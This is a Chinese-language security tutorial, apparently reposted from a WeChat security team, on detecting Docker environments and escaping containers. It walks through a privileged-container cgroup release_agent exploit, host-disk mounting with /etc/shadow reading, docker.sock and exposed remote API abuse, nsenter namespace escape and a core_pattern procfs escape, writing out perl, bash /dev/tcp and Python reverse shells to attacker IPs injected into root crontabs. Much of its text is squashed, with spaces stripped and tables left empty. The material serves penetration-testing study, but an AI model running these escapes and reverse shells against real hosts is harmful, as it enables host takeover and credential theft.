在开始之前,回顾一下在“容器化简介”室中学到的一些内容非常重要。首先,让我们回想一下,容器是隔离的并且具有最小的环境。下图描绘了容器的环境。
需要注意的一些重要事项是:
仅仅因为您有权访问(即立足点)容器,并不意味着您有权访问主机操作系统和关联文件或其他容器。
由于容器的最小化性质(即它们只有开发人员指定的工具),您不太可能找到 Netcat、Wget 甚至 Bash 等基本工具!这使得攻击者很难在容器内进行交互。
我们可以在 Docker 容器中发现哪些类型的漏洞
尽管 Docker 容器旨在将应用程序彼此隔离,但它们仍然容易受到攻击。例如,应用程序的硬编码密码仍然可以存在。例如,如果攻击者能够通过易受攻击的 Web 应用程序获得访问权限,他们将能够找到这些凭据。您可以在下面的代码片段中看到一个 Web 应用程序示例,其中包含数据库服务器的硬编码凭据:‘
/** Database hostname */
define('DB_HOST','localhost');
/** Database name */
define('DB_NAME','sales');
/** Database username */
define('DB_USER','production');
/** Database password */
define('DB_PASSWORD','SuperstrongPassword321!');
当然,这并不是容器中唯一可以利用的漏洞。下表列出了其他潜在的攻击媒介。
漏洞 | 描述 |
---|---|
|
|
|
|
|
|
|
这只是容器中可能存在的一些漏洞类型的简要总结。
以下介绍几种常见容器漏洞以及如何快速判断是否在容器环境
如何快速判断是否在容器环境
漏洞1:特权容器(Capabilities)
漏洞2:通过暴露的Docker Daemon逃逸
漏洞3:通过暴露的Docker Daemon远程执行代码
漏洞 4:滥用命名空间
漏洞5:挂载宿主机 procfs 逃逸
漏洞6: Docker 远程 API未授权访问逃逸
最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。
方式一:查询cgroup信息
docker环境下:
K8s环境下:
虚拟机环境下:
方式二:检查/.dockerenv文件
通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。K8s&docker环境下:ls -alh /.dockerenv 可以找到文件。
虚拟机环境下:是没有这个.dockerenv文件的。
方式三:检查mount信息
利用mount查看挂载磁盘是否存在docker相关信息。
mount|grep'/ type'
K8s&docker环境下:
虚拟机环境下:
方式四:查看硬盘信息
fdisk -l 容器输出为空,非容器有内容输出。
K8s&docker环境下:
虚拟机环境下:
方式五:查看文件系统以及挂载点
df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。
K8s&docker环境下:
虚拟机环境:
方式六:环境变量
docker容器和虚拟机的环境变量也有点区别,但不好判断,但pod里面的环境变量其实是很明显的。
K8s环境下:
在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
cat/proc/self/status | grep CapEff
从根本上来说, Linux功能是授予Linux内核中的进程或可执行文件的 root 权限。这些权限允许对权限进行细粒度分配,而不是仅仅分配全部权限。
这些功能决定了 Docker 容器对操作系统拥有哪些权限。 Docker 容器可以以两种模式运行:
用户(普通)模式
特权模式
在下图中,我们可以看到两种不同的操作模式以及每种模式对主机的访问级别:
请注意容器 #1 和 #2 如何在“用户/正常”模式下运行,而容器 #3 如何在“特权”模式下运行。 “用户”模式下的容器通过 Docker 引擎与操作系统交互。然而,特权容器不会这样做。相反,它们绕过 Docker 引擎并直接与操作系统通信。
这对我们意味着什么
那么,如果容器以对操作系统的特权访问权限运行,我们就可以在主机上以 root 身份有效地执行命令。
cmnatic@privilegedcontainer:~$capsh--printCurrent:=cap_chown,cap_sys_module,cap_sys_chroot,cap_sys_admin,cap_setgid,cap_setuid
在下面的示例利用中,我们将使用mount系统调用(在容器功能允许的情况下)将主机的控制组挂载到容器中。
下面的代码片段基于Trailofbits 创建的概念验证 ( PoC )版本(但经过修改),其中详细介绍了该漏洞利用的内部工作原理。
1.mkdir/tmp/cgrp&&mount-tcgroup-ordmacgroup/tmp/cgrp&&mkdir/tmp/cgrp/x2.echo1>/tmp/cgrp/x/notify_on_release3.host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`4.echo"$host_path/exploit">/tmp/cgrp/release_agent5.echo'#!/bin/sh'>/exploit6.echo"cat /home/cmnatic/flag.txt > $host_path/flag.txt">>/exploit7.chmoda+x/exploit8.sh-c"echo $$ > /tmp/cgrp/x/cgroup.procs"-------注意:我们可以在/exploit文件中放置任何我们喜欢的内容(第5步)。例如,这可能是我们攻击机器的反向shell。
解释漏洞
1.我们需要创建一个组来使用Linux内核来编写和执行我们的漏洞利用程序。内核使用“cgroup”来管理操作系统上的进程。由于我们可以在主机上以 root 身份管理“cgroups”,因此我们将其挂载到容器上的“ /tmp/cgrp ”。
2 .为了执行我们的漏洞利用程序,我们需要告诉内核运行我们的代码。通过将“1”添加到“ /tmp/cgrp/x/notify_on_release ”,我们告诉内核在“cgroup”完成后执行某些操作。 (保罗·梅纳奇,2004) 。
3.我们找出容器的文件在主机上的存储位置,并将其存储为变量。
4.然后,我们将容器文件的位置回显到“ /exploit ”,然后最终回显到“release_agent”,这是“cgroup”释放后将执行的内容。
5.让我们将我们的漏洞利用程序变成主机上的 shell
6.执行“ /exploit ”后,执行命令将主机标志回显到容器中名为“flag.txt”的文件中。
7.使我们的漏洞可执行!
8.我们创建一个进程并将其存储到“ /tmp/cgrp/x/cgroup.procs ”中。当进程被释放时,内容将被执行。
检查cgroup
的挂载
cat/etc/mtab|grepcgroup
或者:
cat/proc/mounts|grepcgroup
你应该能看到类似以下内容:
cgroup2/sys/fs/cgroupcgroup2rw,nosuid,nodev,noexec,relatime,memory,io,memory.swap,cpu,cpuacct,cpuset,rdma00
这表示cgroup
已启用,且系统可能支持多个控制器。
查看挂载磁盘设备fdisk -l
在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下
mkdir /test && mount /dev/sda1 /test
尝试访问宿主机 shadow 文件,可以看到正常访问cat /test/etc/shadow
也可以在定时任务中写入反弹 shell
这里的定时任务路径是 Ubuntu 系统路径,不同的系统定时任务路径不一样
echo$'*/1 * * * * perl -e 'use Socket;$i="192.168.242.149";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};''>>/test/var/spool/cron/crontabs/root
mount /dev/sda1 /mnt
chroot /mnt adduser john
通过新添加的用户登录
当提到“套接字”时,您可能会想到网络中的“套接字”。嗯,这里的概念几乎是一样的。套接字用于在两个地方之间移动数据。 Unix 套接字使用文件系统而不是网络接口来传输数据。这称为进程间通信 ( IPC ),在操作系统中至关重要,因为能够在进程之间发送数据极其重要。
Unix 套接字在传输数据方面比 TCP/IP 套接字快得多( Percona.,2020 )。这就是Redis等数据库技术拥有如此出色性能的原因。 Unix 套接字也使用文件系统权限。对于下一个标题,记住这一点很重要。
cmnatic@demo-container:~$groupscmnaticsudodocker
注意:此位置可能因操作系统而异,甚至可以由开发人员在容器运行时手动设置。
cmnatic@demo-container:~$ls-la/var/run|grepsocksrw-rw----1rootdocker0Dec919:37docker.sock
我们将使用Docker创建一个新容器并将主机的文件系统挂载到这个新容器中。然后我们将访问新容器并查看主机的文件系统。 我们的最终命令将如下所示:dockerrun-v/:/mnt --rm -it alpine chroot /mntsh,它执行以下操作:1.我们需要上传一个docker镜像。对于这个房间,我在虚拟机上提供了这个。它被称为“阿尔卑斯山”。“alpine”分布不是必需的,但它非常轻量并且会更好地融合。为了避免检测,最好使用系统中已经存在的图像,否则,您将必须自己上传该图像。2.我们将使用dockerrun启动新容器,并将主机的文件系统(/) 挂载到新容器中的 (/mnt):dockerrun-v/:/mnt3.我们将告诉容器以交互方式运行(以便我们可以在新容器中执行命令):-it4.现在,我们将使用已经提供的alpine图像:alpine5.我们将使用chroot将容器的根目录更改为/mnt(我们从主机操作系统挂载文件的位置):chroot/mnt6.现在,我们将告诉容器运行sh来获取shell并在容器中执行命令:sh-------您可能需要“Ctrl+C”来取消利用一两次才能使该漏洞发挥作用,但是,如下所示,我们已成功将主机操作系统的文件系统挂载到新的alpine容器中。
执行命令后,我们应该看到我们已被放入一个新容器中。记住,我们将主机的文件系统挂载到/mnt(然后使用chroot使容器的/mnt变成/)
那么,让我们通过ls /查看/的内容
root@alpine-container:~#ls/ bindevhomelib32libx32mediaoptrootsbinsrvsysusrbootetcliblib64lost+foundmntprocrunsnapswapfiletmpvar
回想一下上一个任务中 Docker 如何使用套接字在主机操作系统和容器之间进行通信。 Docker 还可以使用TCP套接字来实现这一点。
Docker 可以进行远程管理。例如,使用Portainer或Jenkins等管理工具部署容器来测试其代码(是的,自动化!)。
cmnatic@attack-machine:~$nmap-sV-p237510.10.225.211StartingNmap7.80(https://nmap.org ) at 2024-01-02 21:27 GMTNmapscanreportfordocker-host(10.10.225.211)Hostisup(0.0018slatency).Notshown:65531closedportsPORTSTATESERVICEVERSION2375/tcpopendockerDocker20.10.20(API1.41)
cmnatic@attack-machine:~$curlhttp://10.10.225.211:2375/version{"Platform": {"Name":"Docker Engine - Community" },"Components": [ {"Name":"Engine","Version":"20.10.20","Details": {"ApiVersion":"1.41","Arch":"amd64","BuildTime":"2022-10-18T18:18:12.000000000+00:00","Experimental":"false","GitCommit":"03df974","GoVersion":"go1.18.7","KernelVersion":"5.15.0-1022-aws","MinAPIVersion":"1.12","Os":"linux" }]}
在我们的目标上执行 Docker 命令
为此,我们需要告诉我们的 Docker 版本将命令发送到我们的目标(而不是我们自己的机器)。我们可以将“-H”开关添加到我们的目标中。为了测试是否可以运行命令,我们将列出目标上的容器:
docker-Htcp://10.10.225.211:2375 ps
cmnatic@attack-machine:~$docker-Htcp://10.10.225.211:2375 psCONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMESb4ec8c45414cdockertest"/usr/sbin/sshd -D"10hoursagoUp7minutes0.0.0.0:22->22/tcp, :::22->22/tcppriceless_mirzakhani
Command | Description |
---|---|
network ls | 用于列出容器网络,我们可以使用它来发现正在运行的其他应用程序并从我们的机器转向它们! |
images | 列出容器使用的镜像;还可以通过对图像进行逆向工程来窃取数据。 |
exec | 在容器上执行命令。 |
run | 运行一个容器。 |
Docker 远程 API 未授权访问逃逸
Docker 远程 API 未授权访问逃逸
搭建
将 docker 守护进程监听在 0.0.0.0
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
检测
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375
如果返回 404 说明存在
复现
列出容器信息
curl http://192.168.242.149:2375/containers/json
查看容器
docker -H tcp://192.168.242.149:2375 ps -a
新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
docker -H tcp://192.168.242.149:2375 run -it -v /:/mnt nginx:latest /bin/bash
在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.242.149/4444 0>&1' >> /mnt/var/spool/cron/crontabs/root
本地监听端口,获取对方宿主机shell
命名空间将进程、文件和内存等系统资源与其他命名空间隔离。 Linux上运行的每个进程都会被分配两件事:
命名空间
进程标识符( PID )
命名空间是实现容器化的方式!进程只能“看到”同一命名空间中的进程。以Docker为例,每个新的容器都会作为一个新的命名空间运行,尽管容器可能运行多个应用程序(进程)。
cmnatic@thm-dev:~$psauxUSERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMAND--cutforbrevity--cmnatic19840.00.749340028932?Sl00:480:00update-notifiercmnatic22635.610.03385096396960?Sl00:480:08/snap/firefox/1232/usr/lib/firefox/firefoxcmnatic24290.42.82447088114900?Sl00:480:00/snap/firefox/1232/usr/lib/firefox/firefox-contentproc-childID1-isForBrowser-prefsLen1-cmnatic24570.00.4138522818496?Sl00:480:00/usr/bin/snapuserdcmnatic30540.12.3242583691936?Sl00:480:00/snap/firefox/1232/usr/lib/firefox/firefox-contentproc-childID2-isForBrowser-prefsLen520cmnatic33461.74.12526924162944?Sl00:480:02/snap/firefox/1232/usr/lib/firefox/firefox-contentproc-childID3-isForBrowser-prefsLen584cmnatic33500.01.6239070866560?Sl00:480:00/snap/firefox/1232/usr/lib/firefox/firefox-contentproc-childID4-isForBrowser-prefsLen584cmnatic33690.01.6239071266672?Sl00:480:00/snap/firefox/1232/usr/lib/firefox/firefox-contentproc-childID5-isForBrowser-prefsLen584cmnatic34170.01.6239070866432?Sl00:480:00/snap/firefox/1232/usr/lib/firefox/firefox-contentproc-childID6-isForBrowser-prefsLen590cmnatic34900.00.342819212288?Sl00:490:00/usr/libexec/deja-dup/deja-dup-monitorcmnatic35240.41.893232074496?Sl00:490:00/usr/bin/nautilus--gapplication-servicecmnatic35450.71.355734055232?Ssl00:490:00/usr/libexec/gnome-terminal-servercmnatic35630.00.1129086784pts/0Ss+00:490:00bash--cutforbrevity--
在最左边的第一列中,我们可以看到进程正在运行的用户,包括进程号(PID)。此外,请注意最右侧的列包含启动该进程的命令或应用程序(例如 Firefox 和 Gnome 终端)。这里需要注意的是,多个应用程序和进程正在运行(特别是 320 个!)。
一般来说,一个Docker容器会运行很多进程。这是因为容器被设计为完成一项任务。即,只运行一个网络服务器或一个数据库。
让我们使用ps aux列出 Docker 容器中运行的进程。值得注意的是,在此示例中我们只运行了六个进程。进程数量的差异通常可以很好地表明我们处于容器中。
此外,下面代码片段中的第一个进程的PID为 1。这是第一个正在运行的进程。 PID 1(通常是 init)是所有未来启动的进程的祖先(父进程)。如果由于某种原因该进程停止,那么所有其他进程也会停止。
root@demo-container:~#psauxUSERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMANDroot10.20.216661211356?Ss00:470:00/sbin/initroot140.10.165205212?S00:470:00/usr/sbin/apache2-DFOREGROUNDwww-data150.10.112111684112?S00:470:00/usr/sbin/apache2-DFOREGROUNDwww-data160.10.112111684116?S00:470:00/usr/sbin/apache2-DFOREGROUNDroot810.00.058882972pts/0R+00:52psaux
回想一下之前漏洞中的 cgroup(控制组)。我们将在另一种利用方法中使用它们。此攻击滥用了容器与主机操作系统共享相同命名空间的条件(因此容器可以与主机上的进程进行通信)。
在容器依赖于正在运行的进程或需要“插入”主机(例如使用调试工具)的情况下,您可能会看到这种情况。在这些情况下,您可以在通过ps aux列出主机进程时看到容器中的主机进程。
root@demo-container:~#psauxUSERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMANDroot10.10.510279611372?Ss11:400:03/sbin/initroot20.00.000?S11:400:00[kthreadd]root30.00.000?I<11:400:00[rcu_gp]--cutforbrevity--root21190.00.111483483372?Sl12:000:00/usr/bin/docker-proxy-prototcp-host-ip0.0.0.0-host-port22-container-ip172.17.0.2-containerroot21250.00.111483483392?Sl12:000:00/usr/bin/docker-proxy-prototcp-host-ip::-host-port22-container-ip172.17.0.2-container-portroot21410.00.47121449192?Sl12:000:00/usr/bin/containerd-shim-runc-v2-namespacemoby-id2032326e64254786be0a420199ef845d8f97afccba9e2eroot21630.00.2723085644?Ss12:000:00/usr/sbin/sshd-D
使用以下漏洞:nsenter--target1--mount--uts--ipc--net/bin/bash,它执行以下操作:1.我们使用值为“1”的--target开关来执行我们的shell命令,我们稍后提供该命令在特殊系统进程ID的命名空间中执行以获得最终的root!2.指定--mount这是我们提供目标进程的挂载命名空间的地方。“如果未指定文件,则输入目标进程的挂载命名空间。”(Man.org,2013)。3.--uts开关允许我们与目标进程共享相同的UTS命名空间,这意味着使用相同的主机名。这很重要,因为不匹配的主机名可能会导致连接问题(尤其是网络服务)。4.--ipc开关意味着我们进入进程的进程间通信命名空间,这很重要。这意味着内存可以共享。5.--net开关意味着我们进入网络命名空间,这意味着我们可以与系统的网络相关功能进行交互。例如,网络接口。我们可以用它来打开一个新的连接(例如主机上的稳定的反向shell)。6.由于我们的目标是“/sbin/init”进程#1(尽管它是指向“lib/systemd/systemd”的符号链接以实现向后兼容性),因此我们将systemd守护进程的命名空间和权限用于我们的新进程(外壳)7.这里是我们的进程将在这个特权命名空间中执行的地方:sh或shell。这将在内核的相同命名空间(因此具有特权)中执行。--------您可能需要“Ctrl+C”取消利用一次或两次才能使该漏洞发挥作用,但正如您在下面看到的,我们已经逃逸了docker容器,并且可以查看主机操作系统(显示主机名的变化)
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
Docker默认情况下不会为容器开启 User Namespace
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。
docker run-it-v/proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubun
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
find / -name core_pattern
cat/proc/mounts | xargs-d','-n1|grepworkdir
/var/lib/docker/overlay2/4838d5482cf76efaf84ca2a4977131786e893dbbd5c7fa69b0cc66c634f2c4c6/merged
apt-get update-y&& apt-get installvimgcc-yvim/tmp/.t.py
#!/usr/bin/python3importosimportptyimportsocketlhost="192.168.242.149"lport=4444defmain():s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((lhost,lport))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)os.putenv("HISTFILE",'/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()if__name__=="__main__":main()
123456789101112131415161718
给 Shell 赋予执行权限
chmod777.t.py
echo-e"|/var/lib/docker/overlay2/0bc1c29a62f408b1b59bf4742c6104c90dbb1601038937a5b8a53d8da839e2ce/merged/tmp/.t.py rcore "> /host/proc/sys/kernel/core_pattern
vimt.c#include<stdio.h>intmain(void) {int*a=NULL;*a=1;return0;}gcct.c-ot./t
dockerd-Hunix:///var/run/docker.sock -H 0.0.0.0:2375
IP=`hostname-i|awk-F.'{print $1 "." $2 "." $3 ".1"}'`&&wgethttp://$IP:2375
curlhttp://<target>:2375/containers/json
docker-Htcp://<target>:2375 ps -a
docker-Htcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
echo'* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1'>>/mnt/var/spool/cron/crontabs/root
原文始发于微信公众号(ZeroPointZero安全团队):容器漏洞101
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论